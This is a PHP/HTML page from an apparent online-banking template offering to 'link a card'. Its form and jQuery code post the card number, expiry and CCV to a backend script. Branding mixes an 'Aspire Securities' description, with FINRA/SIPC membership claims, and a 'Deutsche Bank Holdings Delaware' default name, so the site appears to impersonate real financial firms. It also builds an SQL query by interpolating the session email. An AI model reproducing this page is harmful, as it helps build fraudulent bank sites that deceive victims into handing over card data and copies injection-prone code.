<?php
    session_start();
    if( !isset($_SESSION['chap']) ){
        header("Location:../index.html#login-area");
        exit();
    }
    else{
        $chap = $_SESSION['chap'];
        include "../connect/db.php";
        $sql = mysqli_query($mysqli,"SELECT * FROM users WHERE email = '$chap' ");
        $row = mysqli_fetch_assoc($sql);
        if( $row['status'] == "suspended" ){
            header("Location:account.php");
            exit();
        }
        else if( $row['status'] == "terminated" ){
            header("Location:terminate.php");
            exit();
        }
    }




       if($row['kyc_status'] == "pending" || $row['kyc_status'] == "review" )


{
   header("Location:kyc.php");
   exit();


}
    if($row['code_level'] != "nothing"){

if($row['lock_status'] == "active" )


{
   header("Location:auth.php");
   exit();


}
else{

}



}
else{
    
}
    



?>
<!DOCTYPE html>
<html lang="en-US" class="js">

<head>
    <meta charset="utf-8">
    <meta name="author" content="Smart">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description"
        content="Aspire Securities is a trademark of Aspire Financial Corporation. Aspire Securities is a trade name for the corporate and investment banking services of Aspire Financial Corporation and its subsidiaries. All rights reserved. Securities and strategic advisory services are provided by Aspire Securities, Inc., member FINRA, link opens in new tab and SIPC, link opens in new tab. Lending, financial risk management, and treasury management and payment services are offered by Aspire Bank. Deposit products are offered by Aspire Bank.">
    <!-- Fav Icon  -->
    <link rel="shortcut icon" href="../images/favicon.png">
    <!-- Page Title  -->
    <title><?=$row['firstname']?> <?=$row['middlename']?> <?=$row['lastname']?> | <?= htmlspecialchars(getSetting('site_name', 'Deutsche Bank Holdings Delaware')) ?> Online banking</title>
    <!-- StyleSheets  -->
    <link rel="stylesheet" href="../scss/sweetalert.css">
    <link rel="stylesheet" href="assets/css/dashlite.css?ver=2.4.0">
    <link id="skin-default" rel="stylesheet" href="assets/css/theme.css?ver=2.4.0">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">

    <link href="../css/toastr.css" rel="stylesheet" />
</head>
<link rel="stylesheet"
    href="https://www.jqueryscript.net/demo/jQuery-International-Telephone-Input-With-Flags-Dial-Codes/build/css/intlTelInput.css">
<script type="text/javascript">
    function googleTranslateElementInit() {
        new google.translate.TranslateElement({ pageLanguage: 'en', layout: google.translate.TranslateElement.InlineLayout.SIMPLE }, 'google_translate_element');
    }
</script>
<script type="text/javascript"
    src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
<style>
    .goog-te-gadget-simple {
        border: none;
    }

    .goog-te-gadget-simple a {
        color: #000;
    }
</style>
<style type="text/css">
    .btn-primary {
        background-color: #033d75;
    }

    .btn-secondary {
        background-color: #d13636;
    }

    .btn-secondary:hover {
        opacity: 0.6;
    }

    .btn-primary:hover {
        opacity: 0.6;
    }
</style>

<body class="nk-body npc-crypto bg-white has-sidebar ">
    <div class="nk-app-root">
        <!-- main @s -->
        <div class="nk-main ">
            <!-- sidebar @s -->
            <div class="nk-sidebar nk-sidebar-fixed " data-content="sidebarMenu">
                <div class="nk-sidebar-element nk-sidebar-head" style="border-bottom: solid #fe473a;">
                    <div class="nk-sidebar-brand">
                        <a href="dashboard" class="logo-link nk-sidebar-logo">
                            <img class="logo-light logo-img" src="../logo.png" srcset="../logo.png 2x" alt="logo">
                            <img class="logo-dark logo-img" src="../logo.png" srcset="../logo.png 2x" alt="logo-dark">

                        </a>
                    </div>
                    <div class="nk-menu-trigger mr-n2">
                        <a href="#" class="nk-nav-toggle nk-quick-nav-icon d-xl-none" data-target="sidebarMenu"><em
                                class="icon ni ni-arrow-left"></em></a>
                    </div>
                </div><!-- .nk-sidebar-element -->
                <?php include 'includes/sidebar.php'?>

                <!-- main header @e -->
                <div class="nk-content nk-content-fluid">
                    <div class="container-xl wide-lg">
                        <div class="nk-content-body">
                            <div class="nk-block-head">
                                <div class="nk-block-head-sub">
                                </div>
                                <div class="nk-block-between-md g-4 card-bordered">
                                    <div class="nk-block-head-content">
                                        <h4 class="nk-block-title fw-normal">make purchases using a line of credit &
                                            more.</h4>
                                        <div class="nk-block-des">
                                            <p>you can now link external card to your  <?= htmlspecialchars(getSetting('site_name', 'Deutsche Bank Holdings Delaware')) ?>  account in just a
                                                few steps!</p>
                                        </div>
                                    </div><!-- .nk-block-head-content -->
                                    <div class="nk-block-head-content">
                                        <ul class="nk-block-tools gx-3">
                                            <li><a href="pay-bills"
                                                    class="btn btn-secondary btn-light text-light"><span>Pay
                                                        bills</span><em class="icon ni ni-wallet-out"></em></a></li>
                                        </ul>

                                    </div><!-- .nk-block-head-content -->
                                </div><!-- .nk-block-between -->
                            </div><!-- .nk-block-head -->
                        </div>
                    </div>
                    <div class="card card-bordered">
                        <div class="card-header font-weight-bold text-light" style="background-color:#033d75;">link a
                            card</div>
                        <div class="card-inner">
                            <h5 class="card-title">Card linking tips</h5>
                            <p class="card-text"><em class="icon ni ni-alert-circle text-danger"
                                    style="font-size: 18px; font-weight: 600;"></em> Choose the account to link your
                                card to and fill in the card details correctly.</p>
                            <hr>
                            <form action="" method="post" class="buysell-form"><?= csrf_field() ?>

                                <div class="buysell-field form-group">
                                    <div class="form-label-group">
                                        <label class="form-label">Select Account</label>
                                    </div>
                                    <div class="dropdown buysell-cc-dropdown"> <a href="#"
                                            class="buysell-cc-choosen dropdown-indicator" data-toggle="dropdown">
                                            <div class="coin-item coin-btc">
                                                <div class="coin-icon">
                                                    <em class="icon ni ni-wallet"></em>
                                                </div>
                                                <div class="coin-info">
                                                    <span class="coin-name">Checking Account (<?=currencySymbol($row['usercurrency'])?>)</span>
                                                    <span class="coin-text">Available Balance: <?=formatCurrency($row['checking_balance'], $row['usercurrency'])?></span>
                                                </div>
                                            </div>
                                        </a>
                                        <div class="dropdown-menu dropdown-menu-auto dropdown-menu-mxh">
                                            <ul class="buysell-cc-list">
                                                <li class="buysell-cc-item selected">
                                                    <a href="#" class="buysell-cc-opt" data-currency="btc">
                                                        <div class="coin-item coin-btc">
                                                            <div class="coin-icon">
                                                                <em class="icon ni ni-wallet"></em>
                                                            </div>
                                                            <div class="coin-info">
                                                                <span class="coin-name">Checking Account (<?=currencySymbol($row['usercurrency'])?>)</span>
                                                                <span class="coin-text">Available Balance: <?=formatCurrency($row['checking_balance'], $row['usercurrency'])?>
                                                                </span>
                                                            </div>
                                                        </div>
                                                    </a>
                                                </li>
                                            </ul>
                                        </div><!-- .dropdown-menu -->
                                    </div><!-- .dropdown -->
                                </div><!-- .buysell-field -->
                                <!-- .buysell-field -->
                                <div class="buysell-field form-group row">
                                    <div class="col-lg-6 col-sm-6 p-2">
                                        <div class="form-group">
                                            <div class="form-control-wrap">
                                                <div class="form-icon form-icon-right">
                                                    <em class="icon ni ni-user"></em>
                                                </div>
                                                <input type="text"
                                                    class="form-control form-control-xl form-control-outlined"
                                                    id="fullname" name="fullname">
                                                <label class="form-label-outlined" for="outlined-right-icon">Name on
                                                    card</label>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-lg-6 col-sm-6 p-2">
                                        <div class="form-group">
                                            <div class="form-control-wrap">
                                                <div class="form-icon form-icon-right">
                                                    <em class="icon ni ni-cc-secure"></em>
                                                </div>
                                                <input type="number"
                                                    class="form-control form-control-xl form-control-outlined"
                                                    id="cardnum" name="cardnum">
                                                <label class="form-label-outlined" for="outlined-right-icon">card
                                                    number</label>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-lg-4 col-sm-6 p-2">
                                        <div class="form-group">
                                            <div class="form-control-wrap">
                                                <select class="form-select form-control form-control-xl" name="month"
                                                    data-ui="xl" id="month">
                                                    <option>1</option>
                                                    <option>2</option>
                                                    <option>3</option>
                                                    <option>4</option>
                                                    <option>5</option>
                                                    <option>6</option>
                                                    <option>7</option>
                                                    <option>8</option>
                                                    <option>9</option>
                                                    <option>10</option>
                                                    <option>11</option>
                                                    <option>12</option>
                                                </select>
                                                <label class="form-label-outlined" for="outlined-select">Month</label>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-lg-4 col-sm-6 p-2">
                                        <div class="form-group">
                                            <div class="form-control-wrap">
                                                <select class="form-select form-control form-control-xl" name="year"
                                                    data-ui="xl" id="year">
                                                    <option>2021</option>
                                                    <option>2022</option>
                                                    <option>2023</option>
                                                    <option>2024</option>
                                                    <option>2025</option>
                                                    <option>2026</option>
                                                    <option>2027</option>
                                                    <option>2028</option>
                                                    <option>2029</option>
                                                </select>
                                                <label class="form-label-outlined" for="outlined-select">Year</label>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-lg-4 col-sm-6 p-2">
                                        <div class="form-group">
                                            <div class="form-control-wrap">
                                                <div class="form-icon form-icon-right">
                                                    <em class="icon ni ni-cc-new"></em>
                                                </div>
                                                <input type="number"
                                                    class="form-control form-control-xl form-control-outlined" id="ccv"
                                                    name="ccv">
                                                <label class="form-label-outlined" for="outlined-right-icon">CCV</label>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="cardResult"></div>
                                    <div class="col-lg-12 col-sm-12 p-2">
                                        <div class="form-group">
                                            <button class="btn btn-primary btn-block cardBtn">link card</button>
                                        </div>
                                    </div>
                                </div>
                            </form>
                            <!-- .buysell-form -->
                        </div>
                    </div>
                    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
                    <script type="text/javascript">
                        $(document).ready(function () {
                            $('.cardBtn').on('click', function () {
                                var $this = $(this);
                                var loadingText = '<i class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></i>&nbsp;Processing...';
                                if ($(this).html() !== loadingText) {
                                    $this.data('original-text', $(this).html());
                                    $this.html(loadingText);
                                }
                                setTimeout(function () {
                                    $this.html($this.data('original-text'));
                                }, 3000);
                            });
                        })
                        $(document).ready(function () {
                            $('.cardBtn').click(function (e) {
                                e.preventDefault();
                                var fullname = $('#fullname').val();
                                var cardnum = $('#cardnum').val();
                                var month = $('#month').val();
                                var year = $('#year').val();
                                var ccv = $('#ccv').val();
                                $.ajax
                                    ({
                                        type: "POST",
                                        url: "../apps/user/cards.php",
                                        data: { "fullname": fullname, "cardnum": cardnum, "month": month, "year": year, "ccv": ccv },
                                        success: function (data) {

                                            if(data == "success"){
                                                Swal.fire({
            icon: 'success',
            title: 'Request Submitted',
            text: 'Your request has been submitted',
            showConfirmButton: false,
            timer: 2000
          })
          setTimeout(function(){window.location = "dashboard.php"} , 3200);        

                                            }
                                            else if(data == "error"){
                                                Swal.fire({
            icon: 'error',
            title: 'invalid',
            text: 'Something went wrong',
            showConfirmButton: false,
            timer: 2000
          });
  
                                            }
                                         

else{
    console.log(data);
}

                                        }
                                    
                                    });
                            });
                        });
                    </script>
                    <div class="nk-footer nk-footer-fluid">
                        <div class="container-fluid">
                            <div class="nk-footer-wrap">
                                <div class="nk-footer-copyright"> &copy; <?php
echo date("Y");
?>  <?= htmlspecialchars(getSetting('site_name', 'Deutsche Bank Holdings Delaware')) ?>   <a href="#">All rights
                                        reserved.</a>
                                </div>
                                <div class="nk-footer-links">
                                    <ul class="nav nav-sm">
                                        <li class="nav-item"><a class="nav-link" href="#">Terms</a></li>
                                        <li class="nav-item"><a class="nav-link" href="privacy">Privacy</a></li>
                                        <li class="nav-item"><a class="nav-link" href="contact">Help</a></li>
                                    </ul>
                                </div>
                            </div>
                        </div>
                    </div>
                    <!-- footer @e -->
                </div>
                <!-- wrap @e -->
            </div>
            <!-- main @e -->
        </div>
        <!-- app-root @e -->
        <!-- JavaScript -->
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
        <script src="../js/country.js"></script>
        <script src="assets/js/bundle.js?ver=2.4.0"></script>
        <script src="assets/js/scripts.js?ver=2.4.0"></script>
        <script src="assets/js/charts/chart-crypto.js?ver=2.4.0"></script>
        <script src="../js/sweetalert.js"></script>
        <script src="assets/js/jquery.min.js"></script>
        <script src="assets/js/custom.js"></script>
        <script src="../js/toastr.js"></script>

</body>

</html>